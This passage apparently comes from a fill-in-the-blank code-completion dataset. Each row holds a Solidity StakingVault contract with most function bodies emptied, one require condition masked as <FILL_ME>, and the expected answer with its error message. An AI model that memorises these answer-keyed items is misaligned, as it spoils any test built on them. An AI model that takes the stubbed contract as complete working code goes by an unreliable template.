function burn(address from, uint256 value) external alive {
}
// --- Approve by signature ---
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {
}
}
| admins[msg.sender]==1,"d2o/not-authorized" | 255,896 | admins[msg.sender]==1 |
null | // SPDX-License-Identifier: MIT
// Inspiration from mSpell and DAM's own LMCV
// - `wad`: fixed point decimal with 18 decimals (for basic quantities, e.g. balances)
// - `ray`: fixed point decimal with 27 decimals (for precise quantites, e.g. ratios)
// - `rad`: fixed point decimal with 45 decimals (result of integer multiplication with a `wad` and a `ray`)
import "hardhat/console.sol";
pragma solidity ^0.8.12;
interface LMCVLike {
function lockedCollateral(address, bytes32) external view returns (uint256 amount);
function unlockedCollateral(address, bytes32) external view returns (uint256 amount);
}
interface d3OLike{
function balanceOf(address) external view returns (uint256 amount);
}
contract StakingVault {
//
// Authorisation.
//
address public ArchAdmin;
mapping (address => uint256) public admins;
mapping (address => mapping (address => uint256)) public proxyApprovals;
struct RewardTokenData {
uint256 totalRewardAmount; // [wad] total amount of a specific reward token
uint256 accumulatedRewardPerStaked; // [ray] amount of reward per staked token
}
bytes32[] public RewardTokenList; // list of rewards tokens
mapping (bytes32 => RewardTokenData) public RewardData;
mapping (address => mapping (bytes32 => uint256)) public rewardDebt; // [wad] - amount already should've been paid out from time 0
mapping (address => mapping (bytes32 => uint256)) public withdrawableRewards; // [wad] - user can withdraw these rewards after unstaking
mapping (address => uint256) public lockedStakeable; // [wad] - staked amount per user
mapping (address => uint256) public unlockedStakeable; // [wad] - does not count towards staked tokens.
mapping (address => uint256) public d3O; // [rad] - user's d3O balance.
uint256 public totalD3O; // [rad] - Total amount of d3O issued.
uint256 public stakedAmount; // [wad] - amount staked.
uint256 public stakedAmountLimit; // [wad] - max amount allowed to stake
uint256 public stakedMintRatio; // [ray] - ratio of staked tokens per d3O
event EditRewardsToken(bytes32 indexed rewardToken, bool accepted, uint256 spot, uint256 position);
event LiquidationWithdraw(address indexed liquidated, address indexed liquidator, uint256 rad);
event PullRewards(bytes32 indexed rewardToken, address indexed usr, uint256 wad);
event MoveD3O(address indexed src, address indexed dst, uint256 rad);
event PushRewards(bytes32 indexed rewardToken, uint256 wad);
event RemoveRewards(bytes32 indexed rewardToken, uint256 wad);
event UpdateRewards(bytes32 indexed rewardToken, uint256 ray);
event PushStakingToken(address indexed user, uint256 amount);
event PullStakingToken(address indexed user, uint256 amount);
event Unstake(uint256 amount, address indexed user);
event Stake(int256 amount, address indexed user);
event SetStakeAlive(uint256 status);
event RewardSpotPrice(bytes32 indexed rewardToken, uint256 ray);
event StakedMintRatio(uint256 ray);
event StakedAmountLimit(uint256 wad);
//
// Admin.
//
uint256 public stakeLive;
address public lmcv;
bytes32 public d3OBytes;
address public d3OContract;
modifier auth() {
}
modifier stakeAlive() {
}
constructor(bytes32 _d3OBytes, address _d3OContract, address _lmcv) {
}
//
// Authorisation.
//
function setArchAdmin(address newArch) external auth {
}
function administrate(address admin, uint256 authorization) external auth {
}
function approve(address user) external {
}
function disapprove(address user) external {
}
function approval(address bit, address user) internal view returns (bool) {
}
//
// Math.
//
uint256 constant RAY = 10 ** 27;
// Can only be used sensibly with the following combination of units:
// - `wadmul(wad, ray) -> wad`
function _wadmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
function _add(uint256 x, int256 y) internal pure returns (uint256 z) {
}
function _sub(uint256 x, int256 y) internal pure returns (uint256 z) {
}
function _int256(uint256 x) internal pure returns (int256 y) {
require(<FILL_ME>)
}
//
// Protocol Admin
//
function setStakeAlive(uint256 status) external auth {
}
function setStakedAmountLimit(uint256 wad) external auth {
}
function setStakedMintRatio(uint256 ray) external auth {
}
//
// Rewards Admin
//
function pushRewards(bytes32 rewardToken, uint256 wad) external auth {
}
function editRewardsTokenList(bytes32 rewardToken, bool accepted, uint256 position) external auth {
}
//
// Stake Token User Functionality
//
function pushStakingToken(address user, uint256 wad) external auth {
}
function pullStakingToken(address user, uint256 wad) external auth {
}
//
// d3O
//
function moveD3O(address src, address dst, uint256 rad) external {
}
//
// Rewards User Functions
//
function pullRewards(bytes32 rewardToken, address usr, uint256 wad) external auth {
}
//
// Main functionality
//
function stake(int256 wad, address user) external stakeAlive {
}
//This will be how accounts that are liquidated with d3O in them are recovered
//This also implicitly forbids the transfer of your assets anywhere except LMCV and your own wallet
function liquidationWithdraw(address liquidator, address liquidated, uint256 rad) external stakeAlive {
}
function _payRewards(address from, address to, uint256 previousAmount) internal {
}
function getOwnedD3O(address user) public view returns (uint256 rad) {
}
//
// Helpers
//
function either(bool x, bool y) internal pure returns (bool z) {
}
//WARNING: Does not care about order
function deleteElement(bytes32[] storage array, uint256 i) internal {
}
//
// Testing
//
function bytes32ToString(bytes32 _bytes32) public pure returns (string memory) {
}
}
| (y=int256(x))>=0 | 255,905 | (y=int256(x))>=0 |
"StakingVault/Can't add reward token more than once" | // SPDX-License-Identifier: MIT
// Inspiration from mSpell and DAM's own LMCV
// - `wad`: fixed point decimal with 18 decimals (for basic quantities, e.g. balances)
// - `ray`: fixed point decimal with 27 decimals (for precise quantites, e.g. ratios)
// - `rad`: fixed point decimal with 45 decimals (result of integer multiplication with a `wad` and a `ray`)
import "hardhat/console.sol";
pragma solidity ^0.8.12;
interface LMCVLike {
function lockedCollateral(address, bytes32) external view returns (uint256 amount);
function unlockedCollateral(address, bytes32) external view returns (uint256 amount);
}
interface d3OLike{
function balanceOf(address) external view returns (uint256 amount);
}
contract StakingVault {
//
// Authorisation.
//
address public ArchAdmin;
mapping (address => uint256) public admins;
mapping (address => mapping (address => uint256)) public proxyApprovals;
struct RewardTokenData {
uint256 totalRewardAmount; // [wad] total amount of a specific reward token
uint256 accumulatedRewardPerStaked; // [ray] amount of reward per staked token
}
bytes32[] public RewardTokenList; // list of rewards tokens
mapping (bytes32 => RewardTokenData) public RewardData;
mapping (address => mapping (bytes32 => uint256)) public rewardDebt; // [wad] - amount already should've been paid out from time 0
mapping (address => mapping (bytes32 => uint256)) public withdrawableRewards; // [wad] - user can withdraw these rewards after unstaking
mapping (address => uint256) public lockedStakeable; // [wad] - staked amount per user
mapping (address => uint256) public unlockedStakeable; // [wad] - does not count towards staked tokens.
mapping (address => uint256) public d3O; // [rad] - user's d3O balance.
uint256 public totalD3O; // [rad] - Total amount of d3O issued.
uint256 public stakedAmount; // [wad] - amount staked.
uint256 public stakedAmountLimit; // [wad] - max amount allowed to stake
uint256 public stakedMintRatio; // [ray] - ratio of staked tokens per d3O
event EditRewardsToken(bytes32 indexed rewardToken, bool accepted, uint256 spot, uint256 position);
event LiquidationWithdraw(address indexed liquidated, address indexed liquidator, uint256 rad);
event PullRewards(bytes32 indexed rewardToken, address indexed usr, uint256 wad);
event MoveD3O(address indexed src, address indexed dst, uint256 rad);
event PushRewards(bytes32 indexed rewardToken, uint256 wad);
event RemoveRewards(bytes32 indexed rewardToken, uint256 wad);
event UpdateRewards(bytes32 indexed rewardToken, uint256 ray);
event PushStakingToken(address indexed user, uint256 amount);
event PullStakingToken(address indexed user, uint256 amount);
event Unstake(uint256 amount, address indexed user);
event Stake(int256 amount, address indexed user);
event SetStakeAlive(uint256 status);
event RewardSpotPrice(bytes32 indexed rewardToken, uint256 ray);
event StakedMintRatio(uint256 ray);
event StakedAmountLimit(uint256 wad);
//
// Admin.
//
uint256 public stakeLive;
address public lmcv;
bytes32 public d3OBytes;
address public d3OContract;
modifier auth() {
}
modifier stakeAlive() {
}
constructor(bytes32 _d3OBytes, address _d3OContract, address _lmcv) {
}
//
// Authorisation.
//
function setArchAdmin(address newArch) external auth {
}
function administrate(address admin, uint256 authorization) external auth {
}
function approve(address user) external {
}
function disapprove(address user) external {
}
function approval(address bit, address user) internal view returns (bool) {
}
//
// Math.
//
uint256 constant RAY = 10 ** 27;
// Can only be used sensibly with the following combination of units:
// - `wadmul(wad, ray) -> wad`
function _wadmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
function _add(uint256 x, int256 y) internal pure returns (uint256 z) {
}
function _sub(uint256 x, int256 y) internal pure returns (uint256 z) {
}
function _int256(uint256 x) internal pure returns (int256 y) {
}
//
// Protocol Admin
//
function setStakeAlive(uint256 status) external auth {
}
function setStakedAmountLimit(uint256 wad) external auth {
}
function setStakedMintRatio(uint256 ray) external auth {
}
//
// Rewards Admin
//
function pushRewards(bytes32 rewardToken, uint256 wad) external auth {
}
function editRewardsTokenList(bytes32 rewardToken, bool accepted, uint256 position) external auth {
if(accepted){
for (uint256 i = 0; i < RewardTokenList.length; i++) {
require(<FILL_ME>)
}
RewardTokenList.push(rewardToken);
}else{
deleteElement(RewardTokenList, position);
}
}
//
// Stake Token User Functionality
//
function pushStakingToken(address user, uint256 wad) external auth {
}
function pullStakingToken(address user, uint256 wad) external auth {
}
//
// d3O
//
function moveD3O(address src, address dst, uint256 rad) external {
}
//
// Rewards User Functions
//
function pullRewards(bytes32 rewardToken, address usr, uint256 wad) external auth {
}
//
// Main functionality
//
function stake(int256 wad, address user) external stakeAlive {
}
//This will be how accounts that are liquidated with d3O in them are recovered
//This also implicitly forbids the transfer of your assets anywhere except LMCV and your own wallet
function liquidationWithdraw(address liquidator, address liquidated, uint256 rad) external stakeAlive {
}
function _payRewards(address from, address to, uint256 previousAmount) internal {
}
function getOwnedD3O(address user) public view returns (uint256 rad) {
}
//
// Helpers
//
function either(bool x, bool y) internal pure returns (bool z) {
}
//WARNING: Does not care about order
function deleteElement(bytes32[] storage array, uint256 i) internal {
}
//
// Testing
//
function bytes32ToString(bytes32 _bytes32) public pure returns (string memory) {
}
}
| RewardTokenList[i]!=rewardToken,"StakingVault/Can't add reward token more than once" | 255,905 | RewardTokenList[i]!=rewardToken |
"StakingVault/Insufficient unlocked stakeable token to pull" | // SPDX-License-Identifier: MIT
// Inspiration from mSpell and DAM's own LMCV
// - `wad`: fixed point decimal with 18 decimals (for basic quantities, e.g. balances)
// - `ray`: fixed point decimal with 27 decimals (for precise quantites, e.g. ratios)
// - `rad`: fixed point decimal with 45 decimals (result of integer multiplication with a `wad` and a `ray`)
import "hardhat/console.sol";
pragma solidity ^0.8.12;
interface LMCVLike {
function lockedCollateral(address, bytes32) external view returns (uint256 amount);
function unlockedCollateral(address, bytes32) external view returns (uint256 amount);
}
interface d3OLike{
function balanceOf(address) external view returns (uint256 amount);
}
contract StakingVault {
//
// Authorisation.
//
address public ArchAdmin;
mapping (address => uint256) public admins;
mapping (address => mapping (address => uint256)) public proxyApprovals;
struct RewardTokenData {
uint256 totalRewardAmount; // [wad] total amount of a specific reward token
uint256 accumulatedRewardPerStaked; // [ray] amount of reward per staked token
}
bytes32[] public RewardTokenList; // list of rewards tokens
mapping (bytes32 => RewardTokenData) public RewardData;
mapping (address => mapping (bytes32 => uint256)) public rewardDebt; // [wad] - amount already should've been paid out from time 0
mapping (address => mapping (bytes32 => uint256)) public withdrawableRewards; // [wad] - user can withdraw these rewards after unstaking
mapping (address => uint256) public lockedStakeable; // [wad] - staked amount per user
mapping (address => uint256) public unlockedStakeable; // [wad] - does not count towards staked tokens.
mapping (address => uint256) public d3O; // [rad] - user's d3O balance.
uint256 public totalD3O; // [rad] - Total amount of d3O issued.
uint256 public stakedAmount; // [wad] - amount staked.
uint256 public stakedAmountLimit; // [wad] - max amount allowed to stake
uint256 public stakedMintRatio; // [ray] - ratio of staked tokens per d3O
event EditRewardsToken(bytes32 indexed rewardToken, bool accepted, uint256 spot, uint256 position);
event LiquidationWithdraw(address indexed liquidated, address indexed liquidator, uint256 rad);
event PullRewards(bytes32 indexed rewardToken, address indexed usr, uint256 wad);
event MoveD3O(address indexed src, address indexed dst, uint256 rad);
event PushRewards(bytes32 indexed rewardToken, uint256 wad);
event RemoveRewards(bytes32 indexed rewardToken, uint256 wad);
event UpdateRewards(bytes32 indexed rewardToken, uint256 ray);
event PushStakingToken(address indexed user, uint256 amount);
event PullStakingToken(address indexed user, uint256 amount);
event Unstake(uint256 amount, address indexed user);
event Stake(int256 amount, address indexed user);
event SetStakeAlive(uint256 status);
event RewardSpotPrice(bytes32 indexed rewardToken, uint256 ray);
event StakedMintRatio(uint256 ray);
event StakedAmountLimit(uint256 wad);
//
// Admin.
//
uint256 public stakeLive;
address public lmcv;
bytes32 public d3OBytes;
address public d3OContract;
modifier auth() {
}
modifier stakeAlive() {
}
constructor(bytes32 _d3OBytes, address _d3OContract, address _lmcv) {
}
//
// Authorisation.
//
function setArchAdmin(address newArch) external auth {
}
function administrate(address admin, uint256 authorization) external auth {
}
function approve(address user) external {
}
function disapprove(address user) external {
}
function approval(address bit, address user) internal view returns (bool) {
}
//
// Math.
//
uint256 constant RAY = 10 ** 27;
// Can only be used sensibly with the following combination of units:
// - `wadmul(wad, ray) -> wad`
function _wadmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
function _add(uint256 x, int256 y) internal pure returns (uint256 z) {
}
function _sub(uint256 x, int256 y) internal pure returns (uint256 z) {
}
function _int256(uint256 x) internal pure returns (int256 y) {
}
//
// Protocol Admin
//
function setStakeAlive(uint256 status) external auth {
}
function setStakedAmountLimit(uint256 wad) external auth {
}
function setStakedMintRatio(uint256 ray) external auth {
}
//
// Rewards Admin
//
function pushRewards(bytes32 rewardToken, uint256 wad) external auth {
}
function editRewardsTokenList(bytes32 rewardToken, bool accepted, uint256 position) external auth {
}
//
// Stake Token User Functionality
//
function pushStakingToken(address user, uint256 wad) external auth {
}
function pullStakingToken(address user, uint256 wad) external auth {
require(<FILL_ME>)
unlockedStakeable[user] -= wad;
emit PullStakingToken(user, wad);
}
//
// d3O
//
function moveD3O(address src, address dst, uint256 rad) external {
}
//
// Rewards User Functions
//
function pullRewards(bytes32 rewardToken, address usr, uint256 wad) external auth {
}
//
// Main functionality
//
function stake(int256 wad, address user) external stakeAlive {
}
//This will be how accounts that are liquidated with d3O in them are recovered
//This also implicitly forbids the transfer of your assets anywhere except LMCV and your own wallet
function liquidationWithdraw(address liquidator, address liquidated, uint256 rad) external stakeAlive {
}
function _payRewards(address from, address to, uint256 previousAmount) internal {
}
function getOwnedD3O(address user) public view returns (uint256 rad) {
}
//
// Helpers
//
function either(bool x, bool y) internal pure returns (bool z) {
}
//WARNING: Does not care about order
function deleteElement(bytes32[] storage array, uint256 i) internal {
}
//
// Testing
//
function bytes32ToString(bytes32 _bytes32) public pure returns (string memory) {
}
}
| unlockedStakeable[user]>=wad,"StakingVault/Insufficient unlocked stakeable token to pull" | 255,905 | unlockedStakeable[user]>=wad |
"StakingVault/d3O move not allowed" | // SPDX-License-Identifier: MIT
// Inspiration from mSpell and DAM's own LMCV
// - `wad`: fixed point decimal with 18 decimals (for basic quantities, e.g. balances)
// - `ray`: fixed point decimal with 27 decimals (for precise quantites, e.g. ratios)
// - `rad`: fixed point decimal with 45 decimals (result of integer multiplication with a `wad` and a `ray`)
import "hardhat/console.sol";
pragma solidity ^0.8.12;
interface LMCVLike {
function lockedCollateral(address, bytes32) external view returns (uint256 amount);
function unlockedCollateral(address, bytes32) external view returns (uint256 amount);
}
interface d3OLike{
function balanceOf(address) external view returns (uint256 amount);
}
contract StakingVault {
//
// Authorisation.
//
address public ArchAdmin;
mapping (address => uint256) public admins;
mapping (address => mapping (address => uint256)) public proxyApprovals;
struct RewardTokenData {
uint256 totalRewardAmount; // [wad] total amount of a specific reward token
uint256 accumulatedRewardPerStaked; // [ray] amount of reward per staked token
}
bytes32[] public RewardTokenList; // list of rewards tokens
mapping (bytes32 => RewardTokenData) public RewardData;
mapping (address => mapping (bytes32 => uint256)) public rewardDebt; // [wad] - amount already should've been paid out from time 0
mapping (address => mapping (bytes32 => uint256)) public withdrawableRewards; // [wad] - user can withdraw these rewards after unstaking
mapping (address => uint256) public lockedStakeable; // [wad] - staked amount per user
mapping (address => uint256) public unlockedStakeable; // [wad] - does not count towards staked tokens.
mapping (address => uint256) public d3O; // [rad] - user's d3O balance.
uint256 public totalD3O; // [rad] - Total amount of d3O issued.
uint256 public stakedAmount; // [wad] - amount staked.
uint256 public stakedAmountLimit; // [wad] - max amount allowed to stake
uint256 public stakedMintRatio; // [ray] - ratio of staked tokens per d3O
event EditRewardsToken(bytes32 indexed rewardToken, bool accepted, uint256 spot, uint256 position);
event LiquidationWithdraw(address indexed liquidated, address indexed liquidator, uint256 rad);
event PullRewards(bytes32 indexed rewardToken, address indexed usr, uint256 wad);
event MoveD3O(address indexed src, address indexed dst, uint256 rad);
event PushRewards(bytes32 indexed rewardToken, uint256 wad);
event RemoveRewards(bytes32 indexed rewardToken, uint256 wad);
event UpdateRewards(bytes32 indexed rewardToken, uint256 ray);
event PushStakingToken(address indexed user, uint256 amount);
event PullStakingToken(address indexed user, uint256 amount);
event Unstake(uint256 amount, address indexed user);
event Stake(int256 amount, address indexed user);
event SetStakeAlive(uint256 status);
event RewardSpotPrice(bytes32 indexed rewardToken, uint256 ray);
event StakedMintRatio(uint256 ray);
event StakedAmountLimit(uint256 wad);
//
// Admin.
//
uint256 public stakeLive;
address public lmcv;
bytes32 public d3OBytes;
address public d3OContract;
modifier auth() {
}
modifier stakeAlive() {
}
constructor(bytes32 _d3OBytes, address _d3OContract, address _lmcv) {
}
//
// Authorisation.
//
function setArchAdmin(address newArch) external auth {
}
function administrate(address admin, uint256 authorization) external auth {
}
function approve(address user) external {
}
function disapprove(address user) external {
}
function approval(address bit, address user) internal view returns (bool) {
}
//
// Math.
//
uint256 constant RAY = 10 ** 27;
// Can only be used sensibly with the following combination of units:
// - `wadmul(wad, ray) -> wad`
function _wadmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
function _add(uint256 x, int256 y) internal pure returns (uint256 z) {
}
function _sub(uint256 x, int256 y) internal pure returns (uint256 z) {
}
function _int256(uint256 x) internal pure returns (int256 y) {
}
//
// Protocol Admin
//
function setStakeAlive(uint256 status) external auth {
}
function setStakedAmountLimit(uint256 wad) external auth {
}
function setStakedMintRatio(uint256 ray) external auth {
}
//
// Rewards Admin
//
function pushRewards(bytes32 rewardToken, uint256 wad) external auth {
}
function editRewardsTokenList(bytes32 rewardToken, bool accepted, uint256 position) external auth {
}
//
// Stake Token User Functionality
//
function pushStakingToken(address user, uint256 wad) external auth {
}
function pullStakingToken(address user, uint256 wad) external auth {
}
//
// d3O
//
function moveD3O(address src, address dst, uint256 rad) external {
require(<FILL_ME>)
d3O[src] -= rad;
d3O[dst] += rad;
emit MoveD3O(src, dst, rad);
}
//
// Rewards User Functions
//
function pullRewards(bytes32 rewardToken, address usr, uint256 wad) external auth {
}
//
// Main functionality
//
function stake(int256 wad, address user) external stakeAlive {
}
//This will be how accounts that are liquidated with d3O in them are recovered
//This also implicitly forbids the transfer of your assets anywhere except LMCV and your own wallet
function liquidationWithdraw(address liquidator, address liquidated, uint256 rad) external stakeAlive {
}
function _payRewards(address from, address to, uint256 previousAmount) internal {
}
function getOwnedD3O(address user) public view returns (uint256 rad) {
}
//
// Helpers
//
function either(bool x, bool y) internal pure returns (bool z) {
}
//WARNING: Does not care about order
function deleteElement(bytes32[] storage array, uint256 i) internal {
}
//
// Testing
//
function bytes32ToString(bytes32 _bytes32) public pure returns (string memory) {
}
}
| approval(src,msg.sender),"StakingVault/d3O move not allowed" | 255,905 | approval(src,msg.sender) |
"StakingVault/Insufficient withdrawable rewards to pull" | // SPDX-License-Identifier: MIT
// Inspiration from mSpell and DAM's own LMCV
// - `wad`: fixed point decimal with 18 decimals (for basic quantities, e.g. balances)
// - `ray`: fixed point decimal with 27 decimals (for precise quantites, e.g. ratios)
// - `rad`: fixed point decimal with 45 decimals (result of integer multiplication with a `wad` and a `ray`)
import "hardhat/console.sol";
pragma solidity ^0.8.12;
interface LMCVLike {
function lockedCollateral(address, bytes32) external view returns (uint256 amount);
function unlockedCollateral(address, bytes32) external view returns (uint256 amount);
}
interface d3OLike{
function balanceOf(address) external view returns (uint256 amount);
}
contract StakingVault {
//
// Authorisation.
//
address public ArchAdmin;
mapping (address => uint256) public admins;
mapping (address => mapping (address => uint256)) public proxyApprovals;
struct RewardTokenData {
uint256 totalRewardAmount; // [wad] total amount of a specific reward token
uint256 accumulatedRewardPerStaked; // [ray] amount of reward per staked token
}
bytes32[] public RewardTokenList; // list of rewards tokens
mapping (bytes32 => RewardTokenData) public RewardData;
mapping (address => mapping (bytes32 => uint256)) public rewardDebt; // [wad] - amount already should've been paid out from time 0
mapping (address => mapping (bytes32 => uint256)) public withdrawableRewards; // [wad] - user can withdraw these rewards after unstaking
mapping (address => uint256) public lockedStakeable; // [wad] - staked amount per user
mapping (address => uint256) public unlockedStakeable; // [wad] - does not count towards staked tokens.
mapping (address => uint256) public d3O; // [rad] - user's d3O balance.
uint256 public totalD3O; // [rad] - Total amount of d3O issued.
uint256 public stakedAmount; // [wad] - amount staked.
uint256 public stakedAmountLimit; // [wad] - max amount allowed to stake
uint256 public stakedMintRatio; // [ray] - ratio of staked tokens per d3O
event EditRewardsToken(bytes32 indexed rewardToken, bool accepted, uint256 spot, uint256 position);
event LiquidationWithdraw(address indexed liquidated, address indexed liquidator, uint256 rad);
event PullRewards(bytes32 indexed rewardToken, address indexed usr, uint256 wad);
event MoveD3O(address indexed src, address indexed dst, uint256 rad);
event PushRewards(bytes32 indexed rewardToken, uint256 wad);
event RemoveRewards(bytes32 indexed rewardToken, uint256 wad);
event UpdateRewards(bytes32 indexed rewardToken, uint256 ray);
event PushStakingToken(address indexed user, uint256 amount);
event PullStakingToken(address indexed user, uint256 amount);
event Unstake(uint256 amount, address indexed user);
event Stake(int256 amount, address indexed user);
event SetStakeAlive(uint256 status);
event RewardSpotPrice(bytes32 indexed rewardToken, uint256 ray);
event StakedMintRatio(uint256 ray);
event StakedAmountLimit(uint256 wad);
//
// Admin.
//
uint256 public stakeLive;
address public lmcv;
bytes32 public d3OBytes;
address public d3OContract;
modifier auth() {
}
modifier stakeAlive() {
}
constructor(bytes32 _d3OBytes, address _d3OContract, address _lmcv) {
}
//
// Authorisation.
//
function setArchAdmin(address newArch) external auth {
}
function administrate(address admin, uint256 authorization) external auth {
}
function approve(address user) external {
}
function disapprove(address user) external {
}
function approval(address bit, address user) internal view returns (bool) {
}
//
// Math.
//
uint256 constant RAY = 10 ** 27;
// Can only be used sensibly with the following combination of units:
// - `wadmul(wad, ray) -> wad`
function _wadmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
function _add(uint256 x, int256 y) internal pure returns (uint256 z) {
}
function _sub(uint256 x, int256 y) internal pure returns (uint256 z) {
}
function _int256(uint256 x) internal pure returns (int256 y) {
}
//
// Protocol Admin
//
function setStakeAlive(uint256 status) external auth {
}
function setStakedAmountLimit(uint256 wad) external auth {
}
function setStakedMintRatio(uint256 ray) external auth {
}
//
// Rewards Admin
//
function pushRewards(bytes32 rewardToken, uint256 wad) external auth {
}
function editRewardsTokenList(bytes32 rewardToken, bool accepted, uint256 position) external auth {
}
//
// Stake Token User Functionality
//
function pushStakingToken(address user, uint256 wad) external auth {
}
function pullStakingToken(address user, uint256 wad) external auth {
}
//
// d3O
//
function moveD3O(address src, address dst, uint256 rad) external {
}
//
// Rewards User Functions
//
function pullRewards(bytes32 rewardToken, address usr, uint256 wad) external auth {
RewardTokenData storage tokenData = RewardData[rewardToken];
require(<FILL_ME>)
withdrawableRewards[usr][rewardToken] -= wad;
tokenData.totalRewardAmount -= wad;
emit PullRewards(rewardToken, usr, wad);
}
//
// Main functionality
//
function stake(int256 wad, address user) external stakeAlive {
}
//This will be how accounts that are liquidated with d3O in them are recovered
//This also implicitly forbids the transfer of your assets anywhere except LMCV and your own wallet
function liquidationWithdraw(address liquidator, address liquidated, uint256 rad) external stakeAlive {
}
function _payRewards(address from, address to, uint256 previousAmount) internal {
}
function getOwnedD3O(address user) public view returns (uint256 rad) {
}
//
// Helpers
//
function either(bool x, bool y) internal pure returns (bool z) {
}
//WARNING: Does not care about order
function deleteElement(bytes32[] storage array, uint256 i) internal {
}
//
// Testing
//
function bytes32ToString(bytes32 _bytes32) public pure returns (string memory) {
}
}
| withdrawableRewards[usr][rewardToken]>=wad,"StakingVault/Insufficient withdrawable rewards to pull" | 255,905 | withdrawableRewards[usr][rewardToken]>=wad |
"StakingVault/Owner must consent" | // SPDX-License-Identifier: MIT
// Inspiration from mSpell and DAM's own LMCV
// - `wad`: fixed point decimal with 18 decimals (for basic quantities, e.g. balances)
// - `ray`: fixed point decimal with 27 decimals (for precise quantites, e.g. ratios)
// - `rad`: fixed point decimal with 45 decimals (result of integer multiplication with a `wad` and a `ray`)
import "hardhat/console.sol";
pragma solidity ^0.8.12;
interface LMCVLike {
function lockedCollateral(address, bytes32) external view returns (uint256 amount);
function unlockedCollateral(address, bytes32) external view returns (uint256 amount);
}
interface d3OLike{
function balanceOf(address) external view returns (uint256 amount);
}
contract StakingVault {
//
// Authorisation.
//
address public ArchAdmin;
mapping (address => uint256) public admins;
mapping (address => mapping (address => uint256)) public proxyApprovals;
struct RewardTokenData {
uint256 totalRewardAmount; // [wad] total amount of a specific reward token
uint256 accumulatedRewardPerStaked; // [ray] amount of reward per staked token
}
bytes32[] public RewardTokenList; // list of rewards tokens
mapping (bytes32 => RewardTokenData) public RewardData;
mapping (address => mapping (bytes32 => uint256)) public rewardDebt; // [wad] - amount already should've been paid out from time 0
mapping (address => mapping (bytes32 => uint256)) public withdrawableRewards; // [wad] - user can withdraw these rewards after unstaking
mapping (address => uint256) public lockedStakeable; // [wad] - staked amount per user
mapping (address => uint256) public unlockedStakeable; // [wad] - does not count towards staked tokens.
mapping (address => uint256) public d3O; // [rad] - user's d3O balance.
uint256 public totalD3O; // [rad] - Total amount of d3O issued.
uint256 public stakedAmount; // [wad] - amount staked.
uint256 public stakedAmountLimit; // [wad] - max amount allowed to stake
uint256 public stakedMintRatio; // [ray] - ratio of staked tokens per d3O
event EditRewardsToken(bytes32 indexed rewardToken, bool accepted, uint256 spot, uint256 position);
event LiquidationWithdraw(address indexed liquidated, address indexed liquidator, uint256 rad);
event PullRewards(bytes32 indexed rewardToken, address indexed usr, uint256 wad);
event MoveD3O(address indexed src, address indexed dst, uint256 rad);
event PushRewards(bytes32 indexed rewardToken, uint256 wad);
event RemoveRewards(bytes32 indexed rewardToken, uint256 wad);
event UpdateRewards(bytes32 indexed rewardToken, uint256 ray);
event PushStakingToken(address indexed user, uint256 amount);
event PullStakingToken(address indexed user, uint256 amount);
event Unstake(uint256 amount, address indexed user);
event Stake(int256 amount, address indexed user);
event SetStakeAlive(uint256 status);
event RewardSpotPrice(bytes32 indexed rewardToken, uint256 ray);
event StakedMintRatio(uint256 ray);
event StakedAmountLimit(uint256 wad);
//
// Admin.
//
uint256 public stakeLive;
address public lmcv;
bytes32 public d3OBytes;
address public d3OContract;
modifier auth() {
}
modifier stakeAlive() {
}
constructor(bytes32 _d3OBytes, address _d3OContract, address _lmcv) {
}
//
// Authorisation.
//
function setArchAdmin(address newArch) external auth {
}
function administrate(address admin, uint256 authorization) external auth {
}
function approve(address user) external {
}
function disapprove(address user) external {
}
function approval(address bit, address user) internal view returns (bool) {
}
//
// Math.
//
uint256 constant RAY = 10 ** 27;
// Can only be used sensibly with the following combination of units:
// - `wadmul(wad, ray) -> wad`
function _wadmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
function _add(uint256 x, int256 y) internal pure returns (uint256 z) {
}
function _sub(uint256 x, int256 y) internal pure returns (uint256 z) {
}
function _int256(uint256 x) internal pure returns (int256 y) {
}
//
// Protocol Admin
//
function setStakeAlive(uint256 status) external auth {
}
function setStakedAmountLimit(uint256 wad) external auth {
}
function setStakedMintRatio(uint256 ray) external auth {
}
//
// Rewards Admin
//
function pushRewards(bytes32 rewardToken, uint256 wad) external auth {
}
function editRewardsTokenList(bytes32 rewardToken, bool accepted, uint256 position) external auth {
}
//
// Stake Token User Functionality
//
function pushStakingToken(address user, uint256 wad) external auth {
}
function pullStakingToken(address user, uint256 wad) external auth {
}
//
// d3O
//
function moveD3O(address src, address dst, uint256 rad) external {
}
//
// Rewards User Functions
//
function pullRewards(bytes32 rewardToken, address usr, uint256 wad) external auth {
}
//
// Main functionality
//
function stake(int256 wad, address user) external stakeAlive { // [wad]
require(<FILL_ME>)
require(getOwnedD3O(user) >= lockedStakeable[user] * stakedMintRatio, "StakingVault/Need to own d3O to cover locked amount");
//1. Add locked tokens
uint256 prevStakedAmount = lockedStakeable[user]; //[wad]
unlockedStakeable[user] = _sub(unlockedStakeable[user], wad);
lockedStakeable[user] = _add(lockedStakeable[user], wad);
stakedAmount = _add(stakedAmount, wad);
require(stakedAmount <= stakedAmountLimit || wad < 0, "StakingVault/Cannot be over staked token limit");
//2. Set reward debts for each token based on current time and staked amount
_payRewards(user, user, prevStakedAmount);
//3. Set d3O
totalD3O = _add(totalD3O, wad * _int256(stakedMintRatio));
d3O[user] = _add(d3O[user], wad * _int256(stakedMintRatio));
emit Stake(wad, user);
}
//This will be how accounts that are liquidated with d3O in them are recovered
//This also implicitly forbids the transfer of your assets anywhere except LMCV and your own wallet
function liquidationWithdraw(address liquidator, address liquidated, uint256 rad) external stakeAlive {
}
function _payRewards(address from, address to, uint256 previousAmount) internal {
}
function getOwnedD3O(address user) public view returns (uint256 rad) {
}
//
// Helpers
//
function either(bool x, bool y) internal pure returns (bool z) {
}
//WARNING: Does not care about order
function deleteElement(bytes32[] storage array, uint256 i) internal {
}
//
// Testing
//
function bytes32ToString(bytes32 _bytes32) public pure returns (string memory) {
}
}
| approval(user,msg.sender),"StakingVault/Owner must consent" | 255,905 | approval(user,msg.sender) |
"StakingVault/Need to own d3O to cover locked amount" | // SPDX-License-Identifier: MIT
// Inspiration from mSpell and DAM's own LMCV
// - `wad`: fixed point decimal with 18 decimals (for basic quantities, e.g. balances)
